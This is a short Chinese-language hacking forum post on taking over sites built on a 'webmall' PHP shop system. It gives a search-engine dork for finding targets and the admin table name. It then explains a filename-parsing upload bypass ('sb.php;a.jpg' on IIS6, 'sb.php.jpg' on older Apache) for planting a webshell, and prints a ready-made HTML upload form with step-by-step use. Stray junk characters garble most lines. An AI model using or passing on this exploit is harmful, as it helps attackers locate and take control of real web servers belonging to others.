关键字:inurl:webmall/detail.php?id
8 J/ T- t" H$ r2 ~( A+ C8 ^7 Z T3 F- x
数据表:pwn_base_admin- _/ R7 x' J5 q! w' L+ e
# P' k4 n* E3 _; p2 A关于拿shell# i' s( Y: H) N9 C; @
; b- t; M5 ~) M: `; }
首先登录后台admin.php
* y$ q! P9 z: ?- b1 B, I" o8 |
8 ?2 C8 C& b$ ^看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。6 E1 ?' \8 j" n C0 _; X
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg! \2 g* Q9 T) w6 B& j
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的" x7 |% ^' M, M1 F
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> & G1 [/ E3 F% U# b t# w
<input type="text" name="fileName" value="sb.php;a.jpg" /> S. T# K+ s8 X- Y ]0 n7 I
<input type="hidden" name="attachPath" value="news/pics/" /> 7 k- \3 E* L! E3 ? s) M
<input type="file" name="fileData" size="14" /></td>
( E+ u& J8 e$ d, S" e<input type="submit" name="button" value="确定" />
: m5 |7 O9 |2 c% s. G' R</form>
. p- I. q+ M* m: ^- N' V
0 `/ M/ x) `( W) p" p首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
" _* l! b1 t$ W' p5 o: {+ t+ N: D( }) M. U/ x- f
|